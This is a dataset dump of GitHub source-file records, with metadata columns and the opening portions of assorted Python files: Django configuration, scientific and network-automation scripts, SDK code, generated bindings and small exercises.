blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
38230ca8d3651d93fb529af377a3b02deb0dae18
699ca6931be13ad8a3f4eed26dade7f37cd00bb4
/temp/bicycles.py
efbcd87b53c9baa13bc9da53e090e99becccbafb
[]
no_license
TimliangLei/studyPython
5638f317fa01a40b6e3bb3d0b6dd60685f2b07f3
fb758b42bb01326444dddc1112e9b14e17177b79
refs/heads/master
2021-10-30T09:41:24.423533
2019-04-26T02:46:00
2019-04-26T02:46:00
124,232,574
0
0
null
null
null
null
UTF-8
Python
false
false
220
py
bicycles=['trek','cannondale','redline','speciallized'] print(bicycles) print(bicycles[0].title()) print(bicycles[-1])#返回最后一个元素值 message="My first bicycle was a "+bicycles[0].title()+"." print(message)
[ "timlianglei@126.com" ]
timlianglei@126.com
8e747b87fe26be4867117e37b2c24add1e4668e0
7f0822e81575cd306edfea299b6f7d5356b603e5
/one_two_jango/settings.py
a63edb480345a3d3e6d6c7444c2a993a1e98fea5
[ "BSD-3-Clause" ]
permissive
jia1/one-two-jango
0f68af1e9e0127eba9db16c3f9b17f172b1843b2
49393e2699f4785e7f7d218f9de6a4592e23a39e
refs/heads/master
2021-07-05T12:09:26.710500
2017-09-29T12:32:58
2017-09-29T12:32:58
104,497,160
0
0
null
null
null
null
UTF-8
Python
false
false
3,444
py
""" Django settings for one_two_jango project. Generated by 'django-admin startproject' using Django 1.11.5. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ imp...
[ "jiayeerawr@gmail.com" ]
jiayeerawr@gmail.com
c66645032b93cfe99a40b95fce3b5079076f0f63
3f095a37cae521bdb06aa98c200563d80eb4d7c5
/django-projects/sosio/myapi/urls.py
7dc55683978b6928874ec768504d4e2d1c43607f
[]
no_license
sArun-kumar/create
83363ae3eaf98d3682f818b7f7987b431f348fa7
c7f7ce744c64042f6a67d5666814f47e76885604
refs/heads/master
2020-09-23T21:11:59.386480
2019-12-03T09:59:39
2019-12-03T09:59:39
225,586,385
0
0
null
null
null
null
UTF-8
Python
false
false
314
py
from django.urls import include, path from rest_framework import routers from . import views router = routers.DefaultRouter() router.register(r'Article', views.ArticleViewSet) urlpatterns = [ path('', include(router.urls)), path('api-auth/', include('rest_framework.urls', namespace='rest_framework')) ]
[ "57952933+sArun-kumar@users.noreply.github.com" ]
57952933+sArun-kumar@users.noreply.github.com
62a90103f21a16407a8f42e0a21947b511a5a5cc
622bd4fb4cb50361a5e887544d92a04debb0dd2b
/databus/driver/abstract_factory.py
a69171d86050ecd1512ef2bc9a59efa3c6862f46
[ "Apache-2.0" ]
permissive
tedrepo/databus
aec06bd28f761ca4beff290fc856e93dd2948c07
0f1f290c1b061175a652c3f72efc0d091a5e08c9
refs/heads/master
2022-12-01T03:10:15.182783
2020-08-08T18:40:54
2020-08-08T18:40:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,695
py
""" Abstract driver factory module """ from abc import ABC, abstractmethod from enum import Enum from databus.driver.abstract_driver import AbstractDriver from databus.processor.abstract_factory import AbstractProcessorFactory from databus.pqueue.abstract_factory import AbstractQueueFactory from databus.puller.abstract...
[ "kerem@koseoglu.info" ]
kerem@koseoglu.info
6d33c0003e476ec33c351028029173031c719722
97cfe02f314895419b741cdc88eeb17c0f9df0dd
/integration/common/openlineage/common/provider/great_expectations/facets.py
0612c7d9bbe4ef56aff7cc6fe788af7996ebbde7
[ "Apache-2.0" ]
permissive
briansorahan/OpenLineage
b801827a40fb0a61feff4348d8dff1391a26ed39
c3aa70e161244091969951d0da4f37619bcbe36f
refs/heads/main
2023-08-25T10:55:34.352490
2021-10-28T11:49:58
2021-10-28T11:49:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,735
py
from typing import List, Optional, Union, Dict import attr from great_expectations.core import IDDict from great_expectations.core.batch import BatchMarkers, BatchDefinition from great_expectations.core.id_dict import BatchSpec, BatchKwargs from openlineage.client.facet import BaseFacet from openlineage.common.provid...
[ "noreply@github.com" ]
briansorahan.noreply@github.com
b3af60e9a9eafa6c29e2e9a9f392486a6fc29ad4
30402db627b01e28347bf94cc4be6af68a0a7d2b
/yuzhao.py
d291f1953aefb47df074d175e702801af8b4210e
[]
no_license
SUMORAN/character_pair
ecd47d9a8be128d868ab19c207edec3c056ac61c
dff64303c3193d6932618bb7650ab37901bc15f6
refs/heads/master
2020-04-26T16:00:29.324610
2019-03-04T04:00:22
2019-03-04T04:00:22
173,664,556
0
0
null
null
null
null
UTF-8
Python
false
false
26,078
py
# -*- encoding: utf-8 -*- import math import random import codecs RAW_TEXT_PATH = "zhangwenbin.txt" # 未分词中文语料 PARTED_TEXT_PATH = "parted_text.txt" # 分词后中文语料 WORD2IDX_PATH = 'word2idx_dic.txt' IDX2WORD_PATH = 'idx2word_dic.txt' TEST_PATH = 'test.txt' PROP_DICT_PATH = 'prop_dict.txt' similar_word = [ "哀", "衰", "衷", ...
[ "erzzhang@163.com" ]
erzzhang@163.com
0e512d5cc3c40a98f88773bb04257a5009284703
a8062308fb3bf6c8952257504a50c3e97d801294
/test/test_1680_concatenation_of_consecutive_binary_numbers.py
2e973fa95d840dec8ee1b362d393d6690776c76f
[]
no_license
wan-catherine/Leetcode
650d697a873ad23c0b64d08ad525bf9fcdb62b1b
238995bd23c8a6c40c6035890e94baa2473d4bbc
refs/heads/master
2023-09-01T00:56:27.677230
2023-08-31T00:49:31
2023-08-31T00:49:31
143,770,000
5
0
null
null
null
null
UTF-8
Python
false
false
460
py
from unittest import TestCase from problems.N1680_Concatenation_Of_Consecutive_Binary_Numbers import Solution class TestSolution(TestCase): def test_concatenatedBinary(self): self.assertEqual(1, Solution().concatenatedBinary(1)) def test_concatenatedBinary_1(self): self.assertEqual(27, Solutio...
[ "rarry2012@gmail.com" ]
rarry2012@gmail.com
c2f109d8653198c97abaf0506e538f09dafebf27
a479a5773fd5607f96c3b84fed57733fe39c3dbb
/napalm_yang/models/openconfig/network_instances/network_instance/afts/aft/entries/entry/next_hops/next_hop/state/__init__.py
9f9a949d618408cef24874b85b55dba45410a6d5
[ "Apache-2.0" ]
permissive
napalm-automation/napalm-yang
839c711e9294745534f5fbbe115e0100b645dbca
9148e015b086ebe311c07deb92e168ea36fd7771
refs/heads/develop
2021-01-11T07:17:20.226734
2019-05-15T08:43:03
2019-05-15T08:43:03
69,226,025
65
64
Apache-2.0
2019-05-15T08:43:24
2016-09-26T07:48:42
Python
UTF-8
Python
false
false
136,581
py
# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListTy...
[ "dbarrosop@dravetech.com" ]
dbarrosop@dravetech.com
61560f710bb716afd489fc8a677ebbca9b049ae7
4be4862a6dea072af24be85b0bf632e08481e559
/codes/eval_relation_model6.py
592c04263134cf6477bb1a3532ee8dd667e1e244
[]
no_license
manish-mishr/SceneGraphGeneration
2834541ca0f3781fcc88ef2ca8067974bba90723
dd15bbd88646f6194c1f3e16d2f1435473286cfd
refs/heads/master
2021-01-19T08:17:56.026501
2016-05-04T09:03:16
2016-05-04T09:03:16
82,080,463
1
0
null
null
null
null
UTF-8
Python
false
false
7,424
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os os.environ["CHAINER_TYPE_CHECK"] = "0" #to disable type check. import chainer #Check che below is False if you disabled type check #print(chainer.functions.Linear(1,1).type_check_enable) import os import chainer.functions as F from chainer import cuda from...
[ "stsutsui@saturn.ils.indiana.edu" ]
stsutsui@saturn.ils.indiana.edu
f33359a0ad4254a2ca5e75a31162ed6cee672a40
d57d97ca4cc3c9a643c23f34caeb97df6619602d
/give_n_num_nd_print_nearest_even_value.py
b8ca28667b4f3fccb9b6f8726df6709fd6cd4874
[]
no_license
kk31398/guvi-project
6ce88468aad3a8766f21cda4cc45904a278018d0
adbd81967510f87181fe1d6d0bb1224cc61b1522
refs/heads/master
2021-07-19T00:07:14.979096
2018-10-08T18:30:23
2018-10-08T18:30:23
128,938,296
0
0
null
null
null
null
UTF-8
Python
false
false
114
py
n=int(input()) a=[] for i in range(1,n+1): if(i%2==0): a.append(i) print (''.join(map(str, a[-1:])))
[ "noreply@github.com" ]
kk31398.noreply@github.com
dabfa0df4dcba392620e99b0a0c648b3f7b4d64f
0c94137fdc8c742d932d63eff70b6873b60dda2a
/Lesson_3/Check/Lesson3/zadanie2.py
3d37e9431bcfbb00aece9f8b85759baa4c11caba
[]
no_license
MakarVS/GeekBrains_Algorithms_Python
f1c9236326eec4d9ba12692527384db75928c789
30b006b13faedc8fd3f9d291dbdf55107f476edf
refs/heads/master
2022-04-26T12:04:48.268870
2020-04-26T19:19:32
2020-04-26T19:19:32
255,070,759
0
0
null
null
null
null
UTF-8
Python
false
false
632
py
#Во втором массиве сохранить индексы четных элементов первого массива. Например, если дан массив со значениями 8, 3, 15, 6, 4, 2, второй массив надо заполнить значениями 0, 3, 4, 5 (помните, что индексация начинается с нуля), т. к. именно в этих позициях первого массива стоят четные числа. massiv1=[2,6,4,61,13,76,22,15...
[ "makarvs71@yandex.ru" ]
makarvs71@yandex.ru
43f4368447bc13386682a0dcc57ec24178673fc2
6ba96477d8f19ca5197b4e5aeae4d67f43c51ca6
/min_contourss.py
6e69c22b1cc786cd507a065c628ba93b206ca72c
[]
no_license
jgomezastro/repository
c2b7984fd8c17932e6e1954331293961364c18c4
61ffcc660cc697254f5e42d5b52299f1c51bfa33
refs/heads/master
2020-08-23T01:20:05.849500
2020-02-17T12:40:55
2020-02-17T12:40:55
216,514,228
1
0
null
null
null
null
UTF-8
Python
false
false
523
py
# -*- coding: utf-8 -*- from numpy import zeros def min_contourss(extracted_foreground, minaa, maxaa, minab, maxab): # Extraction of the minimum value of the contour and its coords a = 255 for i in range(minaa, maxaa): for j in range(minab, maxab): if (extracted_foreground[i][j] < a)...
[ "jesus.gomez@terabee.com" ]
jesus.gomez@terabee.com
bd356ed87d9f9bd2821338991c74afa1757e893f
8a22ed9db6ec992ef70e6ef8bc19615d9804dbbd
/mylib/models.py
15204cbc42d9cb2e9a989c14eff2091d6cf35e65
[]
no_license
owenzs/comp9900_backend
27f3f9959cefc33d3ce9d3ee9d223b639810e55b
c876c6c8648b33aa00f35c0e4c13b73892e6ed20
refs/heads/main
2023-04-05T22:37:49.120236
2021-04-14T11:34:28
2021-04-14T11:34:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
399
py
from django.db import models import uuid class MyLib(models.Model): # admin and user use the same category, ID would be created by django id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) lib_user_id = models.ForeignKey('user.Myuser', on_delete=models.CASCADE, default=0) lib_good...
[ "z5196167@ad.unsw.edu.au" ]
z5196167@ad.unsw.edu.au
929c4b554d91766794b550e36a6c1d59d80404f6
2cfc228988a51857269edf2fe7b85c7f9a03e94b
/prysm/otf.py
f6583f6e4089a0dfd734bba53b56f1734431fde1
[ "MIT" ]
permissive
fakahil/prysm
93dd2523e6416afa2774435a6df796df8b7b6f37
c6235043fae90540c392291051d454e8813d3884
refs/heads/master
2021-05-18T21:20:46.745298
2020-02-18T00:21:27
2020-02-18T00:21:27
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,626
py
"""A base optical transfer function interface.""" import warnings from .conf import config from .mathops import engine as e from ._richdata import RichData from .psf import PSF from .fttools import forward_ft_unit def transform_psf(psf, sample_spacing): data = e.fft.fftshift(e.fft.fft2(e.fft.ifftshift(psf.data))...
[ "brandondube@gmail.com" ]
brandondube@gmail.com
131cc18fb3d3f4d841fc6b9be9bb09e7f8231c84
c13082434ca12d17cd6c586893db7fe761efb1cc
/build/source_files/ospf.py
6c3fdc0adcef3fefe6b6a1d8d4c2b5bb0b0f70df
[]
no_license
nupe99/Network-Snapshot-Tool
255b2a3430c26c484fd787d3f28a110d1398f0ff
529029d0900417a4a4b76d7b52be60c7936a4a4b
refs/heads/master
2023-03-30T15:32:26.714593
2021-03-25T02:00:22
2021-03-25T02:00:22
351,275,783
0
0
null
null
null
null
UTF-8
Python
false
false
10,486
py
from genie.testbed import load from genie.conf.base import Interface from unicon.core.errors import ConnectionError from genie.metaparser.util.exceptions import SchemaEmptyParserError import sys def ospf_interfaces_state(devices): #Create empty dictionary for storing all route results pre_dic = {} #Loop...
[ "nupe99@gmail.com" ]
nupe99@gmail.com
960b063de1598dccc26a68071d70052b7476c6d6
72b65247200e7cc9fd102522e9151ac7a7af3a00
/Premier-eye.API/tests/test_math.py
6e6970568ad204be05a77cdcdbd1b1fa0f783620
[ "MIT" ]
permissive
Sapfir0/premier-eye
52cfb2a28945e571d3d78e7c993ccaf54e1a0053
ac6d90da101a5c2f2c305ba21f67369a0f3b786f
refs/heads/master
2022-12-21T13:29:39.255657
2022-12-12T15:10:54
2022-12-12T15:10:54
195,695,701
18
4
MIT
2021-07-29T18:33:59
2019-07-07T20:49:27
Python
UTF-8
Python
false
false
946
py
import unittest from services.geo import calibrateRect, divLatLonToNumber, subLatLon, addLatLon, mulLatLonToNumber, imageHeight, imageWidth from cameraLocations import cameras def getLatLonCoordinates(A, B, C, D, X, Y): vBC = divLatLonToNumber(subLatLon(C, B), imageHeight) vAD = divLatLonToNumber(subLatLon(D, ...
[ "sapfir999999@yandex.ru" ]
sapfir999999@yandex.ru
461aedd8d00d14d677bdaaa5d221d39e7bd1f887
d7016f69993570a1c55974582cda899ff70907ec
/sdk/storage/azure-mgmt-storage/azure/mgmt/storage/v2021_04_01/aio/operations/_table_services_operations.py
a773278f633a42e0385983cffb93ca8fbcf3224b
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
kurtzeborn/azure-sdk-for-python
51ca636ad26ca51bc0c9e6865332781787e6f882
b23e71b289c71f179b9cf9b8c75b1922833a542a
refs/heads/main
2023-03-21T14:19:50.299852
2023-02-15T13:30:47
2023-02-15T13:30:47
157,927,277
0
0
MIT
2022-07-19T08:05:23
2018-11-16T22:15:30
Python
UTF-8
Python
false
false
17,622
py
# pylint: disable=too-many-lines # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRe...
[ "noreply@github.com" ]
kurtzeborn.noreply@github.com
c0e9d9df60f11b5f2544999e5abb89e673a97ed5
770561db2432c67d9da4ef00fdb6ff00293a67a6
/client2.py
c8e1a1988da8b960ec378fdbfb9e79ead82b0ee6
[]
no_license
jinjinhui/secondRep
6b48080790a6d761f2efac0e59c653a25240fff7
9661cabd6e0a4a7e931692372b2791fbb83403b1
refs/heads/master
2020-07-21T07:34:56.177925
2019-09-06T13:14:21
2019-09-06T13:14:21
206,778,615
0
0
null
null
null
null
UTF-8
Python
false
false
508
py
from json import loads from socket import socket from base64 import b64decode def main(): client=socket() client.connect(('192.168.0.102',5577)) indata=bytes() data=client.recv(1024) while data: indata+=data data=client.recv(1024) client.close() jdata=indata.decode('utf-8') mydict=loads(jdata) filename=myd...
[ "54697065+jinjinhui@users.noreply.github.com" ]
54697065+jinjinhui@users.noreply.github.com
d5aa3876187ba82b50278ce252f8cdd1d0394950
b1f9ac3ef8f8203be3ec723ed247bb8bc6e58efb
/utils/metrics.py
2c39e692db22bf70d2128463edb79ab36411d9a9
[]
no_license
aparecidovieira/SNUNet-CD---TensorFlow
54a783a4a591ad0427465129959c33d6211e016d
9164054e1467bdebffebc71019330261b94815f1
refs/heads/main
2023-05-01T13:48:48.579183
2021-05-19T01:18:39
2021-05-19T01:18:39
364,181,060
2
0
null
null
null
null
UTF-8
Python
false
false
3,509
py
import numpy as np import cv2, shutil, os from glob import glob from . import data_loader as dl import numpy as np def get_labels(img, _type=True): # if _type: colors = {(0, 0, 0): 0, (0, 255, 0): 1, (255, 255, 255): 1} h, w = img.shape[:2] mask = np.zeros((h, w), dtype=np.uint8) for color, value ...
[ "noreply@github.com" ]
aparecidovieira.noreply@github.com
378150e1caf3fcaefdb2de1f6c8fe81288dfab48
8d3782a43521308f01748b3f6af8f45a6a17fa22
/finalExamSandbox.py
9dac555d939d82273dc352bf0c49211bdd6298de
[]
no_license
smurphy2230/csc-121-lesson14
34f3df11719a86c070dc855e43b8ba14a1e77163
13d5427aa4208ea4a057a6b6f74b790ee2d50c5b
refs/heads/master
2022-07-04T16:50:19.747170
2020-05-07T20:03:32
2020-05-07T20:03:32
261,754,186
0
0
null
null
null
null
UTF-8
Python
false
false
118
py
import random for i in range(10): num = random.randint(10, 20) if num <= 15: continue print(num)
[ "smurphy2230@gmail.com" ]
smurphy2230@gmail.com
c7e0b7f1d1b7eca1a2eae88ea93db3e320a5d760
6ecde240069d771023abf3810293221da7a4839a
/check_system.py
fc27302e4bd989205a43e69118a702b5fbc38c47
[ "BSD-3-Clause" ]
permissive
JoseAlanis/supplementary_dpx_tt
91c91038857fd05030f302cbfb881dbd0753c6e1
2b5a94c35753dc9dbf51357c840a87380e40fe3c
refs/heads/master
2021-08-16T15:16:05.341099
2021-04-29T09:43:18
2021-04-29T09:43:18
129,422,396
0
1
BSD-3-Clause
2021-04-29T09:43:19
2018-04-13T15:40:53
Python
UTF-8
Python
false
false
1,874
py
""" This script performs a series of checks on the system to see if everything is ready to run the analysis pipeline. """ import os import pkg_resources from argparse import ArgumentParser import json import mne from config import fname from utils import validate_sourcedata # Handle command line arguments check_par...
[ "noreply@github.com" ]
JoseAlanis.noreply@github.com
2107e1c8be217cbc0802fee26930472b7b05254c
24e07b957c003478592bdd999bd0241faab749b0
/scripts/autodeploy-url.py
a74c4331c173df03f16e94f7d1a0ca14c49dfd13
[]
no_license
Commonjava/indy-docker
458aa001c8d91b2fae9f9b43847f45c68f7500c4
204187b590e3bde99dd185ceb4486312e599d0c3
refs/heads/master
2020-04-15T01:38:43.422205
2016-06-14T21:22:50
2016-06-14T21:22:50
32,346,468
1
2
null
2016-06-22T20:45:24
2015-03-16T19:01:43
Python
UTF-8
Python
false
false
7,777
py
#!/usr/bin/python # # Copyright (C) 2015 John Casey (jdcasey@commonjava.org) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
[ "jdcasey@commonjava.org" ]
jdcasey@commonjava.org
45eea6cdfabe5bed18934e9819c94d41559a4231
6475f00264529437a29081ea174eef4a7c0d0846
/iarc_arbiter/scripts/arbiter.py
6518843af396f23f9377ed11e17a4ba6dec17a32
[]
no_license
SiChiTong/iarc-2017
2bd01803a8ab54c438b0cfdab94bd26c55c97bb3
5ee36f92d033f786cae0ae2bc1713cd60fb51fd7
refs/heads/master
2020-04-05T14:31:25.986131
2018-05-14T15:03:54
2018-05-14T15:03:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,234
py
#!/usr/bin/env python2 from threading import Thread import rospy from ddynamic_reconfigure_python.ddynamic_reconfigure import DDynamicReconfigure from geometry_msgs.msg import Twist, PoseStamped from iarc_arbiter.msg import RegisterBehavior from iarc_arbiter.msg import VelAlt from std_msgs.msg import Empty, String fro...
[ "eric@legoaces.org" ]
eric@legoaces.org
6c3f3138f5a174c373d308b7a48067eb2479d0e0
c208954de92470c0144fad2e07a92ed1822edd59
/selenia/out_dis.py
183b10d388d465444ad227f3c3a25273230c321e
[ "MIT" ]
permissive
rendy026/reverse-enginnering
4217f3b723569fb792bac0f22a56a305199db1dc
f04cec0bf518a2617fc4fd7155f755fafc2af799
refs/heads/master
2023-01-07T15:49:15.791052
2020-10-13T09:22:02
2020-10-13T09:22:02
303,575,571
0
0
MIT
2020-10-13T09:41:59
2020-10-13T03:17:42
Python
UTF-8
Python
false
false
67,675
py
# FileNames : <EzzKun> # Python Bytecode : 3.8.5 # Selector <module> In Line 1 file out.pyc # Timestamp In Code : (2020-09-18 18:10:25) # Method Name: <module> # Filename: <EzzKun> # Argument count: 0 # Kw-only arguments: 0 # Number of locals: 0 # Stack size: 10 # Flags: 0x000000...
[ "noreply@github.com" ]
rendy026.noreply@github.com
b9250a89c4f9d1cd4dad23020d9237cf7c64330c
b2506ad4d4800bbc6c618619d29cc6f5c3a4838d
/yeux_symptomes.py
d71b602fab3d658b9f46f42aefa07d3fc0f425f4
[]
no_license
EDU-FRANCK-JUBIN/exos-systeme-expert-SiegKord
4f6ed358e557218902585fdc045a3f7039067154
c242ef7085f7a13fcf915fede8c92bca5108c3f6
refs/heads/master
2020-09-21T16:57:51.720379
2019-12-05T22:15:16
2019-12-05T22:15:16
224,857,316
0
0
null
null
null
null
UTF-8
Python
false
false
1,633
py
# -*- coding: utf-8 -*- """ Created on Thu Dec 5 15:51:33 2019 @author: Nicolas """ from pyDatalog import pyDatalog pyDatalog.clear() pyDatalog.create_terms('X, G001, G002, G003, G004, G005, G006, G007, G008, G009, G010, G011, G012, G013, G014, G015, G016, G017, G018, G019, G020, G021, G022, G023, P01, P02, P03, P0...
[ "nicolas.ferrer@ynov.com" ]
nicolas.ferrer@ynov.com
20a59d30363f13db08a271bd7d4156a4795b5037
9fa71d5834dae1c8900b3444f564b11326374d36
/packages/ipm_cloud_postgresql/folha/rotinas_envio/tipo-afastamento.py
81f76c9ccfb467f9f87b432e8845eb17d8d9c18f
[]
no_license
JoaoPauloLeal/toolbox
a85e726cfeb74603cb64d73c4af64757a9a60db7
924c063ba81395aeddc039a51f8365c02e527963
refs/heads/master
2023-06-07T02:17:42.069985
2021-06-28T19:06:40
2021-06-28T19:06:40
381,128,045
0
0
null
null
null
null
UTF-8
Python
false
false
4,411
py
import packages.ipm_cloud_postgresql.model as model import bth.interacao_cloud as interacao_cloud import json import logging from datetime import datetime tipo_registro = 'tipo-afastamento' sistema = 300 limite_lote = 500 url = "https://pessoal.cloud.betha.com.br/service-layer/v1/api/tipo-afastamento" def iniciar_pr...
[ "joao.leal@betha.com.br" ]
joao.leal@betha.com.br
89f75ed219421260a08f7f0fe6a80bf48514550a
b8b82e0723c681ab16578ce8e0e5389384fb2a2a
/Trivia Quiz Project/djangoproject/quizsite/quiz/migrations/0019_auto_20180617_1342.py
7b3598bfba32f4d33e1675986c1c0b395b68e318
[]
no_license
ml-barnes/django-project
88a9dd008c761f53431a189b8b1c81c7b39ef35f
3e2263bfb790466abf55ab396713bfd9032d014c
refs/heads/master
2020-03-29T01:15:54.961683
2018-09-19T02:55:32
2018-09-19T02:55:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
476
py
# Generated by Django 2.0.3 on 2018-06-17 01:42 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('quiz', '0018_auto_20180617_1341'), ] operations = [ migrations.AlterField( model_name='quiz', name='difficulty', ...
[ "barnm7@student.op.ac.nz" ]
barnm7@student.op.ac.nz
0f91441b9043d804d08893814aadd439963285a9
d50807442176f08bc6e1a6a905f4158e3a14f94e
/model.py
f11c9d044a475f106cc34adf806e79c805f7ef05
[]
no_license
rout-sarthak/P3-U-sdcnd-Behavorial-Cloning
ec76cb96eeabf7bb12ba831234ec8767df492914
e5ebd575e1116f30e217c235d1b3d0b2a68c37b8
refs/heads/master
2020-06-19T14:17:22.416874
2019-07-13T16:07:05
2019-07-13T16:07:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,461
py
import tensorflow as tf from keras.layers import Dense, Flatten, Lambda, Activation, MaxPooling2D from keras.layers.convolutional import Convolution2D from keras.models import Sequential from keras.optimizers import Adam import helper epochs = 8 epoch_samples = 20032 learning_rate = 1e-4 validation_set = 6400 activat...
[ "noreply@github.com" ]
rout-sarthak.noreply@github.com
e486a8fff0f2ff861e17eeb4ef823779cde18389
870143dccb3ced8fb2095f989cb7eef5787c0489
/deepspeed/runtime/config.py
26c10f3b0e350e97257bf65528d7145fa8b2bc90
[ "LicenseRef-scancode-generic-cla", "MIT" ]
permissive
tanghl1994/DeepSpeed
56650ecd59184dae643d3a9ed6bb3d0406d6521a
509ccbf4d8769b145aa1608f97b49c0f29ccc6cf
refs/heads/master
2022-12-20T18:35:14.783378
2020-09-09T19:21:11
2020-09-09T19:21:11
293,631,664
0
0
null
2020-09-07T21:01:38
2020-09-07T21:01:37
null
UTF-8
Python
false
false
26,476
py
""" Copyright (c) Microsoft Corporation Licensed under the MIT license. """ import torch import json import copy from deepspeed.runtime.constants import * from deepspeed.runtime.fp16.loss_scaler import INITIAL_LOSS_SCALE, SCALE_WINDOW, DELAYED_SHIFT, MIN_LOSS_SCALE from deepspeed.runtime.config_utils import ...
[ "noreply@github.com" ]
tanghl1994.noreply@github.com
4f8338dcfaaea8812c3f208254835374ac488f08
0de12c35f8a187b40ae7da824d0fe5dd608f6a17
/Equipment/models.py
889c705bf7b958771b246e119e4697e5044aaa0f
[]
no_license
AKoushikReddy/Django-WebApplication-2
3a59acb7639c630e7ea851616ad1427b69e3f44b
079155622c3d41ba1faa63b92213d7f7a4a9eeb2
refs/heads/master
2020-04-08T02:06:33.510495
2018-11-24T10:13:06
2018-11-24T10:13:06
158,922,817
2
0
null
null
null
null
UTF-8
Python
false
false
885
py
from django.db import models from accounts.models import UserHouse # Create your models here. class Camera(models.Model): id = models.IntegerField(primary_key=True) house = models.ForeignKey(UserHouse, on_delete=models.CASCADE) condition = models.TextField(max_length=30, default='Not Installed')...
[ "noreply@github.com" ]
AKoushikReddy.noreply@github.com
c3a9262abc44ac5508726e238bdcacc3f8454599
24cee07743790afde5040c38ef95bb940451e2f6
/acode/abc284/e/update.py
cbe323dede2e63602d87336c493cc58525a7c3eb
[]
no_license
tinaba96/coding
fe903fb8740d115cf5a7f4ff5af73c7d16b9bce1
d999bf5620e52fabce4e564c73b9f186e493b070
refs/heads/master
2023-09-01T02:24:33.476364
2023-08-30T15:01:47
2023-08-30T15:01:47
227,594,153
1
0
null
null
null
null
UTF-8
Python
false
false
6,006
py
import sys sys.setrecursionlimit(500005) #sys.setrecursionlimit(10**9) #import pypyjit # this is for solving slow issue for pypy when using recursion but python will not need this (test will fail but submit works) #pypyjit.set_param('max_unroll_recursion=-1') N, M = list(map(int, input().split())) mp = [[] for n in r...
[ "tinaba178.96@gmail.com" ]
tinaba178.96@gmail.com
ac3a3c48593301707e1581d20e629c1345302ee1
a3d9884beae30f62ef1247e1ef09bfecc8f79eea
/gna/api.py
89f33df7eaadd6bee238992639a810d4a71d308a
[]
no_license
sean2009/gm_web_analyze
f0f107d08987124edd3e909b96012b89728e03f0
470900c30b4bd61c959ace5a1b76164a837e9b58
refs/heads/master
2016-09-06T17:05:01.939995
2014-09-28T07:32:18
2014-09-28T07:32:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,126
py
# -*- coding: utf-8 -*- from django.conf import settings import datetime from gna.common import ( get_retention_cache_key, get_month_cache_key, ) from gna.gna_normal.models import ( Player, DailyAccessLog, PaymentInfo, ) from gna.cache import ( daily_cache, simple_cache, delta_cache, ...
[ "peng.xiao@gumichina.com" ]
peng.xiao@gumichina.com
c661730f7f3d3c2b70f65f28e85c421558db8d73
87a8f7aa17ca00a09b07db179cfc3db5ac114861
/train_cross.py
d4146ec5762316ee5cbd05c12bed1ae2b989d533
[ "MIT" ]
permissive
boji123/attention-is-all-you-need-pytorch
711b57a076aa14555e7be6678a7bd71eb6563079
fec848eacab494fd181d894d81efe8f8fac83046
refs/heads/master
2020-03-27T10:10:29.290897
2018-08-28T06:33:01
2018-08-28T06:33:01
141,121,040
0
0
MIT
2018-07-16T10:02:51
2018-07-16T10:02:50
null
UTF-8
Python
false
false
9,879
py
''' This script handling the training process. ''' import argparse import math import time import sys from tqdm import tqdm import torch import torch.nn as nn import torch.optim as optim import transformer.Constants as Constants from transformer.Models import Transformer from transformer.Optim import ScheduledOptim fr...
[ "boji@aliyun.com" ]
boji@aliyun.com
0ab7d42a20a3cab1ee17535c5ad991ea33d9fbaf
51d4d53a03ff4aa2dea4b60991389ac95b3576bf
/ddexreader/ern312/_iso639a2.py
326f6e5d08602f7bde02171d183e22510050716f
[ "MIT" ]
permissive
Trax-air/ddexreader
05fda370d4a4dd251daa19a031c6dc4dc7a42f4b
444811b3c0a4704691e8cd27ab3d9c580f23e177
refs/heads/master
2023-01-05T21:40:33.901586
2015-09-14T14:43:57
2015-09-14T14:43:57
38,633,547
28
15
MIT
2022-12-26T19:44:20
2015-07-06T17:08:40
Python
UTF-8
Python
false
false
20,856
py
# .\_iso639a2.py # -*- coding: utf-8 -*- # PyXB bindings for NM:72b0e0221aebdf4a98e2c5feefcc21990195dd91 # Generated 2015-08-12 15:54:17.335000 by PyXB version 1.2.4 using Python 2.7.0.final.0 # Namespace http://ddex.net/xml/20100121/iso639a2 [xmlns:iso639a2] from __future__ import unicode_literals import pyxb import ...
[ "cyprien@trax-air.com" ]
cyprien@trax-air.com
4d584e485a3f78a66bcd0ef4343df4bf33fdb29f
